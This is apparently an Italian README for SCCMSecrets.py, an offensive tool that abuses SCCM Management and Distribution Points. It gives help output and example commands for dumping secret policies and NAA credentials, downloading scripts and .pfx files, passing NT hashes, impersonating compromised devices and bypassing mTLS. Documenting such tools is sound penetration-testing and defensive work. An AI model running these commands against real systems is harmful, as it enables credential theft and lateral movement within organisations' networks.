
SCCMSecrets.py mira a sfruttare la distribuzione delle policy SCCM per la raccolta di credenziali, l'accesso iniziale e il movimento laterale.
SCCMSecrets.py è uno strumento di sfruttamento delle policy SCCM. Va oltre l'estrazione delle credenziali NAA e mira a fornire un approccio completo allo sfruttamento delle policy SCCM. Lo strumento può essere eseguito con vari livelli di privilegi e tenterà di scoprire potenziali configurazioni errate relative alla distribuzione delle policy. Ulteriori dettagli sullo strumento e sul suo utilizzo sono disponibili nell'articolo associato: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial
Sono disponibili due sottocomandi: policies e files.
Questo sottocomando interagisce con un Management Point SCCM per scaricare il contenuto di tutte le policy segrete (incluse la configurazione NAA, le sequenze di attività contenenti credenziali o le variabili di raccolta). Per farlo, è necessario un dispositivo SCCM approvato, che può essere ottenuto in tre modi.
--altauth, SCCMSecrets sfrutterà un endpoint di autenticazione alternativo, consentendo di bypassare i requisiti mTLS e di ottenere un dispositivo approvato senza credenziali e senza la configurazione errata dell'approvazione automatica dei dispositivi (maggiori informazioni qui). Questo funziona solo quando il MP è configurato per usare HTTPS E il sito SCCM è configurato per imporre HTTPS a livello di sito (se il MP usa HTTPS ma il sito consente sia HTTP che HTTPS, i dispositivi non vengono approvati automaticamente).--use-existing-device). Questo argomento richiede una directory contenente il file guid.txt (GUID del dispositivo) e il file key.pem (chiave privata del dispositivo). Può essere un dispositivo creato da un'esecuzione precedente di SCCMSecrets, oppure quello corrispondente a un client SCCM legittimo compromesso.Nota: le policy SCCM sono associate alle raccolte. La registrazione di un nuovo dispositivo lo inserirà nelle raccolte predefinite; pertanto, verranno recuperate solo le policy segrete delle raccolte predefinite. Questo è il motivo per cui impersonare un client SCCM legittimo compromesso con --use-existing-device può essere interessante. Infatti, questo client legittimo potrebbe far parte di raccolte personalizzate associate a policy segrete aggiuntive.
L'output verrà inserito in una sottodirectory della directory loot (formato: [timestamp]_policies).
$ python3 SCCMSecrets.py policies -h
Usage: SCCMSecrets.py policies [OPTIONS]
Dump secret policies from an SCCM Management Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --management-point -mp TEXT The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ * --client-name -cn TEXT [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required] │
│ --machine-name -u TEXT [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval │
│ --machine-pass -p TEXT [Optional] The password for the machine account │
│ --machine-hash -H TEXT [Optional] The NT hash for the machine account │
│ --registration-sleep -rs INTEGER [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to │
│ device collections (3 minutes by default, may need to be increased) │
│ [default: 180] │
│ --use-existing-device -d TEXT [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it │
│ expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│ be provided to SCCMSecrets (but does not have to match the one of the existing device) │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --altauth -a [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│ only works when the MP uses HTTPS AND HTTPS is enforced site-wide │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Questo sottocomando indicizzerà i file memorizzati su un Distribution Point e scaricherà quelli interessanti. SCCMSecrets tenterà innanzitutto di identificare se l'accesso anonimo è abilitato (non predefinito). In tal caso, i file possono essere indicizzati e scaricati senza autenticazione. In caso contrario, saranno necessarie credenziali di dominio.
È possibile scaricare i file per estensione. SCCMSecrets indicizzerà i file di tutti i pacchetti ospitati sul Distribution Point (producendo un file index.txt con il formato tree di Unix) e scaricherà i file con le estensioni specificate. Se si fornisce una lista vuota di estensioni, verrà eseguita solo l'indicizzazione dei file.
In entrambi i casi, dal file di indice prodotto, è possibile usare il flag --urls per scaricare file specifici interessanti (senza reindicizzare).
Nota: i requisiti mTLS, se implementati, possono essere bypassati fornendo il flag --nocert.
L'output verrà inserito in una sottodirectory della directory loot (formato: [timestamp]_files).
$ python3 SCCMSecrets.py files --help
Usage: SCCMSecrets.py files [OPTIONS]
Dump interesting files from an SCCM Distribution Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --distribution-point -dp TEXT An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ --username -u TEXT [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access │
│ --password -p TEXT [Optional] The password for the domain account │
│ --hash -H TEXT [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852) │
│ --extensions -e TEXT [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not │
│ download anything, and only index files │
│ [default: .ps1, .bat, .xml, .txt, .pfx] │
│ --urls -f TEXT [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│ want to download by extension, but rather specific known files │
│ --max-recursion -r INTEGER [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10] │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --nocert -n [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Per impostazione predefinita, i client possono interagire con il proprio Management Point o Distribution Point utilizzando HTTP semplice. L'installazione di SCCM può tuttavia essere configurata in modo più sicuro imponendo l'uso di HTTPS. In questo caso (per il Management Point, il Distribution Point o entrambi), SCCM richiederà l'autenticazione del certificato client utilizzando un certificato PKI interno con finalità di "client authentication".
È comunque possibile effettuare gli attacchi presentati sopra; tuttavia, è necessario fornire un certificato PKI valido tramite i flag --pki-cert e --pki-key (formato PEM). Gli URL del Management Point / Distribution Point devono anche essere preceduti da https://.
Nota: i flag --altauth (per le policy) e --nocert (per i file) forniscono modi per bypassare l'autenticazione mTLS (maggiori informazioni qui).
È possibile installare SCCMSecrets.py clonando il repository e installando le dipendenze.
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
Di seguito sono riportati alcuni comandi di esempio.
Recupera le policy segrete senza fornire un account macchina. Questo tenterà di sfruttare la configurazione errata dell'approvazione automatica dei dispositivi (configurazione non predefinita)
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'
Recupera le policy segrete fornendo un account macchina. Questo funzionerà nelle configurazioni SCCM predefinite
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'
Recupera le policy segrete di un dispositivo già esistente. La cartella compromised_device contiene un file guid.txt e un file key.pem.
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/
Recupera le policy segrete quando il Management Point impone HTTPS
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem
Recupera le policy segrete utilizzando l'endpoint di autenticazione alternativo, consentendo di bypassare l'autenticazione mTLS e di ottenere un dispositivo approvato senza fornire credenziali (maggiori informazioni qui). Funziona solo quando il MP usa HTTPS e HTTPS è imposto a livello di sito
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth
Recupera i file del Distribution Point senza fornire credenziali. Questo tenterà di sfruttare l'accesso anonimo al DP (configurazione non predefinita)
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab
Recupera i file del Distribution Point con le credenziali. Questo funzionerà nelle configurazioni SCCM predefinite
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'
Recupera i file con una lista specifica di estensioni. Autenticati con l'hash dell'account macchina
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
Recupera file specifici dal Distribution Point fornendo una lista di URL (1 per riga)
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst
Recupera i file del DP quando il Distribution Point impone HTTPS
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem
Bypassa l'autenticazione mTLS quando il Distribution Point impone HTTPS
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert